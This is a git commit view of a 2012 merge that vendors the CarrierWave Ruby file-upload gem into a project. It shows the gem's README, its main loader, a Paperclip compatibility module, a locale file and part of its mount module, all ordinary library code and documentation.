Merge branch 'master' into feature/vuln-info

unstable
HD Moore 2012-06-12 15:24:50 -05:00
commit 374b5b86f7
36 changed files with 4576 additions and 0 deletions

View File

@ -1032,6 +1032,7 @@ MIT
* activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson * activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson
* activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson * activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson
* authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic * authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic
* carrierwave - Copyright (c) 2008-2012 Jonas Nicklas
* chunky_png - Copyright (c) 2010 Willem van Bergen * chunky_png - Copyright (c) 2010 Willem van Bergen
* daemons - Copyright (c) 2005-2012 Thomas Uehlinger * daemons - Copyright (c) 2005-2012 Thomas Uehlinger
* diff-lcs - Copyright 20042011 Austin Ziegler * diff-lcs - Copyright 20042011 Austin Ziegler

View File

@ -0,0 +1,785 @@
# CarrierWave
This gem provides a simple and extremely flexible way to upload files from Ruby applications.
It works well with Rack based web applications, such as Ruby on Rails.
[![Build Status](https://secure.travis-ci.org/jnicklas/carrierwave.png)](http://travis-ci.org/jnicklas/carrierwave)
## Information
* RDoc documentation [available on RubyDoc.info](http://rubydoc.info/gems/carrierwave/frames)
* Source code [available on GitHub](http://github.com/jnicklas/carrierwave)
* More information, known limitations, and how-tos [available on the wiki](https://github.com/jnicklas/carrierwave/wiki)
## Getting Help
* Please ask the [Google Group](http://groups.google.com/group/carrierwave) for help if you have any questions.
* Please report bugs on the [issue tracker](http://github.com/jnicklas/carrierwave/issues) but read the "getting help" section in the wiki first.
## Installation
Install the latest stable release:
[sudo] gem install carrierwave
In Rails, add it to your Gemfile:
```ruby
gem 'carrierwave'
```
Note that CarrierWave is not compatible with Rails 2 as of version 0.5. If you want to use
Rails 2, please use the 0.4-stable branch on GitHub.
## Getting Started
Start off by generating an uploader:
rails generate uploader Avatar
this should give you a file in:
app/uploaders/avatar_uploader.rb
Check out this file for some hints on how you can customize your uploader. It
should look something like this:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :file
end
```
You can use your uploader class to store and retrieve files like this:
```ruby
uploader = AvatarUploader.new
uploader.store!(my_file)
uploader.retrieve_from_store!('my_file.png')
```
CarrierWave gives you a `store` for permanent storage, and a `cache` for
temporary storage. You can use different stores, including filesystem
and cloud storage.
Most of the time you are going to want to use CarrierWave together with an ORM.
It is quite simple to mount uploaders on columns in your model, so you can
simply assign files and get going:
### ActiveRecord
Make sure you are loading CarrierWave after loading your ORM, otherwise you'll
need to require the relevant extension manually, e.g.:
```ruby
require 'carrierwave/orm/activerecord'
```
Add a string column to the model you want to mount the uploader on:
```ruby
add_column :users, :avatar, :string
```
Open your model file and mount the uploader:
```ruby
class User < ActiveRecord::Base
mount_uploader :avatar, AvatarUploader
end
```
Now you can cache files by assigning them to the attribute, they will
automatically be stored when the record is saved.
```ruby
u = User.new
u.avatar = params[:file]
u.avatar = File.open('somewhere')
u.save!
u.avatar.url # => '/url/to/file.png'
u.avatar.current_path # => 'path/to/file.png'
u.avatar.identifier # => 'file.png'
```
### DataMapper, Mongoid, Sequel
Other ORM support has been extracted into separate gems:
* [carrierwave-datamapper](https://github.com/jnicklas/carrierwave-datamapper)
* [carrierwave-mongoid](https://github.com/jnicklas/carrierwave-mongoid)
* [carrierwave-sequel](https://github.com/jnicklas/carrierwave-sequel)
There are more extensions listed in [the wiki](https://github.com/jnicklas/carrierwave/wiki)
## Changing the storage directory
In order to change where uploaded files are put, just override the `store_dir`
method:
```ruby
class MyUploader < CarrierWave::Uploader::Base
def store_dir
'public/my/upload/directory'
end
end
```
This works for the file storage as well as Amazon S3 and Rackspace Cloud Files.
Define `store_dir` as `nil` if you'd like to store files at the root level.
## Securing uploads
Certain file might be dangerous if uploaded to the wrong location, such as php
files or other script files. CarrierWave allows you to specify a white-list of
allowed extensions.
If you're mounting the uploader, uploading a file with the wrong extension will
make the record invalid instead. Otherwise, an error is raised.
```ruby
class MyUploader < CarrierWave::Uploader::Base
def extension_white_list
%w(jpg jpeg gif png)
end
end
```
### Filenames and unicode chars
Another security issue you should care for is the file names (see
[Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html#file-uploads)).
By default, CarrierWave provides only English letters, arabic numerals and '-+_.' symbols as
white-listed characters in the file name. If you want to support local scripts (Cyrillic letters, letters with diacritics and so on), you
have to override `sanitize_regexp` method. It should return regular expression which would match
all *non*-allowed symbols.
With Ruby 1.9 and higher you can simply write (as it has [Oniguruma](http://oniguruma.rubyforge.org/oniguruma/)
built-in):
```ruby
CarrierWave::SanitizedFile.sanitize_regexp = /[^[:word:]\.\-\+]/
```
With Ruby 1.8 you have to manually specify all character ranges. For example, for files which may
contain Russian letters:
```ruby
CarrierWave::SanitizedFile.sanitize_regexp = /[^a-zA-Zа-яА-ЯёЁ0-9\.\-\+_]/u
```
Also make sure that allowing non-latin characters won't cause a compatibility issue with a third-party
plugins or client-side software.
## Setting the content type
If you care about the content type of your files and notice that it's not being set
as expected, you can configure your uploaders to use `CarrierWave::MimeTypes`.
This adds a dependency on the [mime-types](http://rubygems.org/gems/mime-types) gem,
but is recommended when using fog, and fog already has a dependency on mime-types.
```ruby
require 'carrierwave/processing/mime_types'
class MyUploader < CarrierWave::Uploader::Base
include CarrierWave::MimeTypes
process :set_content_type
end
```
## Adding versions
Often you'll want to add different versions of the same file. The classic
example is image thumbnails. There is built in support for this:
```ruby
class MyUploader < CarrierWave::Uploader::Base
include CarrierWave::RMagick
process :resize_to_fit => [800, 800]
version :thumb do
process :resize_to_fill => [200,200]
end
end
```
When this uploader is used, an uploaded image would be scaled to be no larger
than 800 by 800 pixels. A version called thumb is then created, which is scaled
and cropped to exactly 200 by 200 pixels. The uploader could be used like this:
```ruby
uploader = AvatarUploader.new
uploader.store!(my_file) # size: 1024x768
uploader.url # => '/url/to/my_file.png' # size: 800x600
uploader.thumb.url # => '/url/to/thumb_my_file.png' # size: 200x200
```
One important thing to remember is that process is called *before* versions are
created. This can cut down on processing cost.
It is possible to nest versions within versions:
```ruby
class MyUploader < CarrierWave::Uploader::Base
version :animal do
version :human
version :monkey
version :llama
end
end
```
### Conditional versions
Occasionally you want to restrict the creation of versions on certain
properties within the model or based on the picture itself.
```ruby
class MyUploader < CarrierWave::Uploader::Base
version :human, :if => :is_human?
version :monkey, :if => :is_monkey?
version :banner, :if => :is_landscape?
protected
def is_human? picture
model.can_program?(:ruby)
end
def is_monkey? picture
model.favorite_food == 'banana'
end
def is_landscape? picture
image = MiniMagick::Image.open(picture.path)
image[:width] > image[:height]
end
end
```
The `model` variable points to the instance object the uploader is attached to.
### Create versions from existing versions
For performance reasons, it is often useful to create versions from existing ones
instead of using the original file. If your uploader generates several versions
where the next is smaller than the last, it will take less time to generate from
a smaller, already processed image.
```ruby
class MyUploader < CarrierWave::Uploader::Base
version :thumb do
process resize_to_fill: [280, 280]
end
version :small_thumb, :from_version => :thumb do
process resize_to_fill: [20, 20]
end
end
```
The option `:from_version` uses the file cached in the `:thumb` version instead
of the original version, potentially resulting in faster processing.
## Making uploads work across form redisplays
Often you'll notice that uploaded files disappear when a validation fails.
CarrierWave has a feature that makes it easy to remember the uploaded file even
in that case. Suppose your `user` model has an uploader mounted on `avatar`
file, just add a hidden field called `avatar_cache`. In Rails, this would look
like this:
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar</label>
<%= f.file_field :avatar %>
<%= f.hidden_field :avatar_cache %>
</p>
<% end %>
````
It might be a good idea to show the user that a file has been uploaded, in the
case of images, a small thumbnail would be a good indicator:
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar</label>
<%= image_tag(@user.avatar_url) if @user.avatar? %>
<%= f.file_field :avatar %>
<%= f.hidden_field :avatar_cache %>
</p>
<% end %>
```
## Removing uploaded files
If you want to remove a previously uploaded file on a mounted uploader, you can
easily add a checkbox to the form which will remove the file when checked.
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar</label>
<%= image_tag(@user.avatar_url) if @user.avatar? %>
<%= f.file_field :avatar %>
</p>
<p>
<label>
<%= f.check_box :remove_avatar %>
Remove avatar
</label>
</p>
<% end %>
```
If you want to remove the file manually, you can call <code>remove_avatar!</code>.
## Uploading files from a remote location
Your users may find it convenient to upload a file from a location on the Internet
via a URL. CarrierWave makes this simple, just add the appropriate attribute to your
form and you're good to go:
```erb
<%= form_for @user, :html => {:multipart => true} do |f| %>
<p>
<label>My Avatar URL:</label>
<%= image_tag(@user.avatar_url) if @user.avatar? %>
<%= f.text_field :remote_avatar_url %>
</p>
<% end %>
```
## Providing a default URL
In many cases, especially when working with images, it might be a good idea to
provide a default url, a fallback in case no file has been uploaded. You can do
this easily by overriding the `default_url` method in your uploader:
```ruby
class MyUploader < CarrierWave::Uploader::Base
def default_url
"/images/fallback/" + [version_name, "default.png"].compact.join('_')
end
end
```
## Recreating versions
You might come to a situation where you want to retroactively change a version
or add a new one. You can use the recreate_versions! method to recreate the
versions from the base file. This uses a naive approach which will re-upload and
process all versions.
```ruby
instance = MyUploader.new
instance.recreate_versions!
```
Or on a mounted uploader:
```ruby
User.all.each do |user|
user.avatar.recreate_versions!
end
```
## Configuring CarrierWave
CarrierWave has a broad range of configuration options, which you can configure,
both globally and on a per-uploader basis:
```ruby
CarrierWave.configure do |config|
config.permissions = 0666
config.storage = :file
end
```
Or alternatively:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
permissions 0777
end
```
If you're using Rails, create an initializer for this:
```ruby
config/initializers/carrierwave.rb
```
## Testing with CarrierWave
It's a good idea to test you uploaders in isolation. In order to speed up your
tests, it's recommended to switch off processing in your tests, and to use the
file storage. In Rails you could do that by adding an initializer with:
```ruby
if Rails.env.test? or Rails.env.cucumber?
CarrierWave.configure do |config|
config.storage = :file
config.enable_processing = false
end
end
```
If you need to test your processing, you should test it in isolation, and enable
processing only for those tests that need it.
CarrierWave comes with some RSpec matchers which you may find useful:
```ruby
require 'carrierwave/test/matchers'
describe MyUploader do
include CarrierWave::Test::Matchers
before do
MyUploader.enable_processing = true
@uploader = MyUploader.new(@user, :avatar)
@uploader.store!(File.open(path_to_file))
end
after do
MyUploader.enable_processing = false
@uploader.remove!
end
context 'the thumb version' do
it "should scale down a landscape image to be exactly 64 by 64 pixels" do
@uploader.thumb.should have_dimensions(64, 64)
end
end
context 'the small version' do
it "should scale down a landscape image to fit within 200 by 200 pixels" do
@uploader.small.should be_no_larger_than(200, 200)
end
end
it "should make the image readable only to the owner and not executable" do
@uploader.should have_permissions(0600)
end
end
```
Setting the enable_processing flag on an uploader will prevent any of the versions from processing as well.
Processing can be enabled for a single version by setting the processing flag on the version like so:
```ruby
@uploader.thumb.enable_processing = true
```
## Using Amazon S3
[Fog](http://github.com/fog/fog) is used to support Amazon S3. Ensure you have it in your Gemfile:
```ruby
gem "fog", "~> 1.3.1"
```
You'll need to provide your fog_credentials and a fog_directory (also known as a bucket) in an initializer.
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
You can also pass in additional options, as documented fully in lib/carrierwave/storage/fog.rb. Here's a full example:
```ruby
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'AWS', # required
:aws_access_key_id => 'xxx', # required
:aws_secret_access_key => 'yyy', # required
:region => 'eu-west-1' # optional, defaults to 'us-east-1'
}
config.fog_directory = 'name_of_directory' # required
config.fog_host = 'https://assets.example.com' # optional, defaults to nil
config.fog_public = false # optional, defaults to true
config.fog_attributes = {'Cache-Control'=>'max-age=315576000'} # optional, defaults to {}
end
```
In your uploader, set the storage to :fog
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
That's it! You can still use the `CarrierWave::Uploader#url` method to return the url to the file on Amazon S3.
## Using Rackspace Cloud Files
[Fog](http://github.com/fog/fog) is used to support Rackspace Cloud Files. Ensure you have it in your Gemfile:
```ruby
gem "fog", "~> 1.3.1"
```
You'll need to configure a directory (also known as a container), username and API key in the initializer.
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
```ruby
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'Rackspace',
:rackspace_username => 'xxxxxx',
:rackspace_api_key => 'yyyyyy'
}
config.fog_directory = 'name_of_directory'
end
```
You can optionally include your CDN host name in the configuration.
This is *highly* recommended, as without it every request requires a lookup
of this information.
```ruby
config.fog_host = "http://c000000.cdn.rackspacecloud.com"
```
In your uploader, set the storage to :fog
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
That's it! You can still use the `CarrierWave::Uploader#url` method to return
the url to the file on Rackspace Cloud Files.
## Using Google Storage for Developers
[Fog](http://github.com/fog/fog) is used to support Google Storage for Developers. Ensure you have it in your Gemfile:
```ruby
gem "fog", "~> 1.3.1"
```
You'll need to configure a directory (also known as a bucket), access key id and secret access key in the initializer.
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
```ruby
CarrierWave.configure do |config|
config.fog_credentials = {
:provider => 'Google',
:google_storage_access_key_id => 'xxxxxx',
:google_storage_secret_access_key => 'yyyyyy'
}
config.fog_directory = 'name_of_directory'
end
```
In your uploader, set the storage to :fog
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
storage :fog
end
```
That's it! You can still use the `CarrierWave::Uploader#url` method to return
the url to the file on Google.
## Dynamic Fog Host
The `fog_host` config property can be assigned a proc (or anything that responds to `call`) for generating the host dynamically. The proc-compliant object gets an instance of the current `CarrierWave::Storage::Fog::File` as its only argument.
```ruby
CarrierWave.configure do |config|
config.fog_host = proc do |file|
identifier = # some logic
"http://#{identifier}.cdn.rackspacecloud.com"
end
end
```
## Using RMagick
If you're uploading images, you'll probably want to manipulate them in some way,
you might want to create thumbnail images for example. CarrierWave comes with a
small library to make manipulating images with RMagick easier, you'll need to
include it in your Uploader:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::RMagick
end
```
The RMagick module gives you a few methods, like
`CarrierWave::RMagick#resize_to_fill` which manipulate the image file in some
way. You can set a `process` callback, which will call that method any time a
file is uploaded.
There is a demonstration of convert here.
Convert will only work if the file has the same file extension, thus the use of the filename method.
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::RMagick
process :resize_to_fill => [200, 200]
process :convert => 'png'
def filename
super.chomp(File.extname(super)) + '.png'
end
end
```
Check out the manipulate! method, which makes it easy for you to write your own
manipulation methods.
## Using MiniMagick
MiniMagick is similar to RMagick but performs all the operations using the 'mogrify'
command which is part of the standard ImageMagick kit. This allows you to have the power
of ImageMagick without having to worry about installing all the RMagick libraries.
See the MiniMagick site for more details:
http://github.com/probablycorey/mini_magick
And the ImageMagick command line options for more for whats on offer:
http://www.imagemagick.org/script/command-line-options.php
Currently, the MiniMagick carrierwave processor provides exactly the same methods as
for the RMagick processor.
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::MiniMagick
process :resize_to_fill => [200, 200]
end
```
## Migrating from Paperclip
If you are using Paperclip, you can use the provided compatibility module:
```ruby
class AvatarUploader < CarrierWave::Uploader::Base
include CarrierWave::Compatibility::Paperclip
end
```
See the documentation for `CarrierWave::Compatibility::Paperclip` for more
details.
Be sure to use mount_on to specify the correct column:
```ruby
mount_uploader :avatar, AvatarUploader, :mount_on => :avatar_file_name
```
Unfortunately attachment_fu differs too much in philosophy for there to be a
sensible compatibility mode. Patches for migrating from other solutions will be
happily accepted.
## i18n
The Active Record validations use the Rails i18n framework. Add these keys to
your translations file:
```yaml
errors:
messages:
carrierwave_processing_error: 'Cannot resize image.'
carrierwave_integrity_error: 'Not an image.'
```
## Large files
By default, CarrierWave copies an uploaded file twice, first copying the file into the cache, then
copying the file into the store. For large files, this can be prohibitively time consuming.
You may change this behavior by overriding either or both of the `move_to_cache` and
`move_to_store` methods:
```ruby
class MyUploader < CarrierWave::Uploader::Base
def move_to_cache
true
end
def move_to_store
true
end
end
```
When the `move_to_cache` and/or `move_to_store` methods return true, files will be moved (instead of copied) to the cache and store respectively.
This has only been tested with the local filesystem store.
## Contributing to CarrierWave
CarrierWave thrives on a large number of [contributors](https://github.com/jnicklas/carrierwave/contributors),
and pull requests are very welcome. Before submitting a pull request, please make sure that your changes are well tested.
You'll need to install bundler and the gem dependencies:
gem install bundler
bundle install
You should now be able to run the local tests:
bundle exec rake
You can also run the remote specs by creating a ~/.fog file:
```yaml
:carrierwave:
:aws_access_key_id: xxx
:aws_secret_access_key: yyy
:rackspace_username: xxx
:rackspace_api_key: yyy
:google_storage_access_key_id: xxx
:google_storage_secret_access_key: yyy
```
You should now be able to run the remote tests:
REMOTE=true bundle exec rake
Please test with the latest Ruby 1.8.x and 1.9.x versions using RVM if possible.
## License
Copyright (c) 2008-2012 Jonas Nicklas
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

View File

@ -0,0 +1,111 @@
# encoding: utf-8
require 'fileutils'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/class/attribute'
require 'active_support/concern'
module CarrierWave
class << self
attr_accessor :root, :base_path
def configure(&block)
CarrierWave::Uploader::Base.configure(&block)
end
def clean_cached_files!
CarrierWave::Uploader::Base.clean_cached_files!
end
end
class UploadError < StandardError; end
class IntegrityError < UploadError; end
class InvalidParameter < UploadError; end
class ProcessingError < UploadError; end
class DownloadError < UploadError; end
autoload :SanitizedFile, 'carrierwave/sanitized_file'
autoload :Mount, 'carrierwave/mount'
autoload :RMagick, 'carrierwave/processing/rmagick'
autoload :ImageScience, 'carrierwave/processing/image_science'
autoload :MiniMagick, 'carrierwave/processing/mini_magick'
autoload :MimeTypes, 'carrierwave/processing/mime_types'
autoload :VERSION, 'carrierwave/version'
module Storage
autoload :Abstract, 'carrierwave/storage/abstract'
autoload :File, 'carrierwave/storage/file'
autoload :Fog, 'carrierwave/storage/fog'
end
module Uploader
autoload :Base, 'carrierwave/uploader'
autoload :Cache, 'carrierwave/uploader/cache'
autoload :Store, 'carrierwave/uploader/store'
autoload :Download, 'carrierwave/uploader/download'
autoload :Callbacks, 'carrierwave/uploader/callbacks'
autoload :Processing, 'carrierwave/uploader/processing'
autoload :Versions, 'carrierwave/uploader/versions'
autoload :Remove, 'carrierwave/uploader/remove'
autoload :ExtensionWhitelist, 'carrierwave/uploader/extension_whitelist'
autoload :DefaultUrl, 'carrierwave/uploader/default_url'
autoload :Proxy, 'carrierwave/uploader/proxy'
autoload :Url, 'carrierwave/uploader/url'
autoload :Mountable, 'carrierwave/uploader/mountable'
autoload :Configuration, 'carrierwave/uploader/configuration'
autoload :Serialization, 'carrierwave/uploader/serialization'
end
module Compatibility
autoload :Paperclip, 'carrierwave/compatibility/paperclip'
end
module Test
autoload :Matchers, 'carrierwave/test/matchers'
end
end
if defined?(Merb)
CarrierWave.root = Merb.dir_for(:public)
Merb::BootLoader.before_app_loads do
# Setup path for uploaders and load all of them before classes are loaded
Merb.push_path(:uploaders, Merb.root / 'app' / 'uploaders', '*.rb')
Dir.glob(File.join(Merb.load_paths[:uploaders])).each {|f| require f }
end
elsif defined?(Rails)
module CarrierWave
class Railtie < Rails::Railtie
initializer "carrierwave.setup_paths" do
CarrierWave.root = Rails.root.join(Rails.public_path).to_s
CarrierWave.base_path = ENV['RAILS_RELATIVE_URL_ROOT']
end
initializer "carrierwave.active_record" do
ActiveSupport.on_load :active_record do
require 'carrierwave/orm/activerecord'
end
end
end
end
elsif defined?(Sinatra)
if defined?(Padrino)
CarrierWave.root = File.join(PADRINO_ROOT, "public")
else
CarrierWave.root = if Sinatra::Application.respond_to?(:public_folder)
# Sinatra >= 1.3
Sinatra::Application.public_folder
else
# Sinatra < 1.3
Sinatra::Application.public
end
end
end

View File

@ -0,0 +1,95 @@
# encoding: utf-8
module CarrierWave
module Compatibility
##
# Mix this module into an Uploader to make it mimic Paperclip's storage paths
# This will make your Uploader use the same default storage path as paperclip
# does. If you need to override it, you can override the +paperclip_path+ method
# and provide a Paperclip style path:
#
# class MyUploader < CarrierWave::Uploader::Base
# include CarrierWave::Compatibility::Paperclip
#
# def paperclip_path
# ":rails_root/public/uploads/:id/:attachment/:style_:basename.:extension"
# end
# end
#
# ---
#
# This file contains code taken from Paperclip
#
# LICENSE
#
# The MIT License
#
# Copyright (c) 2008 Jon Yurek and thoughtbot, inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
module Paperclip
def store_path(for_file=filename)
path = paperclip_path
path ||= File.join(*[store_dir, paperclip_style.to_s, for_file].compact)
interpolate_paperclip_path(path, for_file)
end
def store_dir
":rails_root/public/system/:attachment/:id"
end
def paperclip_default_style
:original
end
def paperclip_path
end
def paperclip_style
version_name || paperclip_default_style
end
private
def interpolate_paperclip_path(path, filename)
mappings.inject(path) do |agg, pair|
agg.gsub(":#{pair[0]}") { pair[1].call(self, filename).to_s }
end
end
def mappings
[
[:rails_root , lambda{|u, f| Rails.root }],
[:rails_env , lambda{|u, f| Rails.env }],
[:class , lambda{|u, f| u.model.class.name.underscore.pluralize}],
[:id_partition , lambda{|u, f| ("%09d" % u.model.id).scan(/\d{3}/).join("/")}],
[:id , lambda{|u, f| u.model.id }],
[:attachment , lambda{|u, f| u.mounted_as.to_s.downcase.pluralize }],
[:style , lambda{|u, f| u.paperclip_style }],
[:basename , lambda{|u, f| f.gsub(/#{File.extname(f)}$/, "") }],
[:extension , lambda{|u, f| File.extname(f).gsub(/^\.+/, "")}]
]
end
end # Paperclip
end # Compatibility
end # CarrierWave

View File

@ -0,0 +1,9 @@
en:
errors:
messages:
carrierwave_processing_error: failed to be processed
carrierwave_integrity_error: is not of an allowed file type
extension_white_list_error: "You are not allowed to upload %{extension} files, allowed types: %{allowed_types}"
rmagick_processing_error: "Failed to manipulate with rmagick, maybe it is not an image? Original Error: %{e}"
mime_types_processing_error: "Failed to process file with MIME::Types, maybe not valid content-type? Original Error: %{e}"
mini_magick_processing_error: "Failed to manipulate with MiniMagick, maybe it is not an image? Original Error: %{e}"

View File

@ -0,0 +1,382 @@
# encoding: utf-8
module CarrierWave
##
# If a Class is extended with this module, it gains the mount_uploader
# method, which is used for mapping attributes to uploaders and allowing
# easy assignment.
#
# You can use mount_uploader with pretty much any class, however it is
# intended to be used with some kind of persistent storage, like an ORM.
# If you want to persist the uploaded files in a particular Class, it
# needs to implement a `read_uploader` and a `write_uploader` method.
#
module Mount
##
# === Returns
#
# [Hash{Symbol => CarrierWave}] what uploaders are mounted on which columns
#
def uploaders
@uploaders ||= {}
@uploaders = superclass.uploaders.merge(@uploaders) if superclass.respond_to?(:uploaders)
@uploaders
end
def uploader_options
@uploader_options ||= {}
@uploader_options = superclass.uploader_options.merge(@uploader_options) if superclass.respond_to?(:uploader_options)
@uploader_options
end
##
# Return a particular option for a particular uploader
#
# === Parameters
#
# [column (Symbol)] The column the uploader is mounted at
# [option (Symbol)] The option, e.g. validate_integrity
#
# === Returns
#
# [Object] The option value
#
def uploader_option(column, option)
if uploader_options[column].has_key?(option)
uploader_options[column][option]
else
uploaders[column].send(option)
end
end
##
# Mounts the given uploader on the given column. This means that assigning
# and reading from the column will upload and retrieve files. Supposing
# that a User class has an uploader mounted on image, you can assign and
# retrieve files like this:
#
# @user.image # => <Uploader>
# @user.image.store!(some_file_object)
#
# @user.image.url # => '/some_url.png'
#
# It is also possible (but not recommended) to ommit the uploader, which
# will create an anonymous uploader class.
#
# Passing a block makes it possible to customize the uploader. This can be
# convenient for brevity, but if there is any significatnt logic in the
# uploader, you should do the right thing and have it in its own file.
#
# === Added instance methods
#
# Supposing a class has used +mount_uploader+ to mount an uploader on a column
# named +image+, in that case the following methods will be added to the class:
#
# [image] Returns an instance of the uploader only if anything has been uploaded
# [image=] Caches the given file
#
# [image_url] Returns the url to the uploaded file
#
# [image_cache] Returns a string that identifies the cache location of the file
# [image_cache=] Retrieves the file from the cache based on the given cache name
#
# [remote_image_url] Returns previously cached remote url
# [remote_image_url=] Retrieve the file from the remote url
#
# [remove_image] An attribute reader that can be used with a checkbox to mark a file for removal
# [remove_image=] An attribute writer that can be used with a checkbox to mark a file for removal
# [remove_image?] Whether the file should be removed when store_image! is called.
#
# [store_image!] Stores a file that has been assigned with +image=+
# [remove_image!] Removes the uploaded file from the filesystem.
#
# [image_integrity_error] Returns an error object if the last file to be assigned caused an integrity error
# [image_processing_error] Returns an error object if the last file to be assigned caused a processing error
#
# [write_image_identifier] Uses the write_uploader method to set the identifier.
# [image_identifier] Reads out the identifier of the file
#
# === Parameters
#
# [column (Symbol)] the attribute to mount this uploader on
# [uploader (CarrierWave::Uploader)] the uploader class to mount
# [options (Hash{Symbol => Object})] a set of options
# [&block (Proc)] customize anonymous uploaders
#
# === Options
#
# [:mount_on => Symbol] if the name of the column to be serialized to differs you can override it using this option
# [:ignore_integrity_errors => Boolean] if set to true, integrity errors will result in caching failing silently
# [:ignore_processing_errors => Boolean] if set to true, processing errors will result in caching failing silently
#
# === Examples
#
# Mounting uploaders on different columns.
#
# class Song
# mount_uploader :lyrics, LyricsUploader
# mount_uploader :alternative_lyrics, LyricsUploader
# mount_uploader :file, SongUploader
# end
#
# This will add an anonymous uploader with only the default settings:
#
# class Data
# mount_uploader :csv
# end
#
# this will add an anonymous uploader overriding the store_dir:
#
# class Product
# mount_uploader :blueprint do
# def store_dir
# 'blueprints'
# end
# end
# end
#
def mount_uploader(column, uploader=nil, options={}, &block)
if block_given?
uploader = Class.new(uploader || CarrierWave::Uploader::Base)
uploader.class_eval(&block)
uploader.recursively_apply_block_to_versions(&block)
else
uploader ||= Class.new(CarrierWave::Uploader::Base)
end
uploaders[column.to_sym] = uploader
uploader_options[column.to_sym] = options
include CarrierWave::Mount::Extension
# Make sure to write over accessors directly defined on the class.
# Simply super to the included module below.
class_eval <<-RUBY, __FILE__, __LINE__+1
def #{column}; super; end
def #{column}=(new_file); super; end
RUBY
# Mixing this in as a Module instead of class_evaling directly, so we
# can maintain the ability to super to any of these methods from within
# the class.
mod = Module.new
include mod
mod.class_eval <<-RUBY, __FILE__, __LINE__+1
def #{column}
_mounter(:#{column}).uploader
end
def #{column}=(new_file)
_mounter(:#{column}).cache(new_file)
end
def #{column}?
!_mounter(:#{column}).blank?
end
def #{column}_url(*args)
_mounter(:#{column}).url(*args)
end
def #{column}_cache
_mounter(:#{column}).cache_name
end
def #{column}_cache=(cache_name)
_mounter(:#{column}).cache_name = cache_name
end
def remote_#{column}_url
_mounter(:#{column}).remote_url
end
def remote_#{column}_url=(url)
_mounter(:#{column}).remote_url = url
end
def remove_#{column}
_mounter(:#{column}).remove
end
def remove_#{column}!
_mounter(:#{column}).remove!
end
def remove_#{column}=(value)
_mounter(:#{column}).remove = value
end
def remove_#{column}?
_mounter(:#{column}).remove?
end
def store_#{column}!
_mounter(:#{column}).store!
end
def #{column}_integrity_error
_mounter(:#{column}).integrity_error
end
def #{column}_processing_error
_mounter(:#{column}).processing_error
end
def write_#{column}_identifier
_mounter(:#{column}).write_identifier
end
def #{column}_identifier
_mounter(:#{column}).identifier
end
def store_previous_model_for_#{column}
serialization_column = _mounter(:#{column}).serialization_column
if #{column}.remove_previously_stored_files_after_update && send(:"\#{serialization_column}_changed?")
@previous_model_for_#{column} ||= self.find_previous_model_for_#{column}
end
end
def find_previous_model_for_#{column}
self.class.find(to_key.first)
end
def remove_previously_stored_#{column}
if @previous_model_for_#{column} && @previous_model_for_#{column}.#{column}.path != #{column}.path
@previous_model_for_#{column}.#{column}.remove!
@previous_model_for_#{column} = nil
end
end
RUBY
end
module Extension
##
# overwrite this to read from a serialized attribute
#
def read_uploader(column); end
##
# overwrite this to write to a serialized attribute
#
def write_uploader(column, identifier); end
private
def _mounter(column)
# We cannot memoize in frozen objects :(
return Mounter.new(self, column) if frozen?
@_mounters ||= {}
@_mounters[column] ||= Mounter.new(self, column)
end
end # Extension
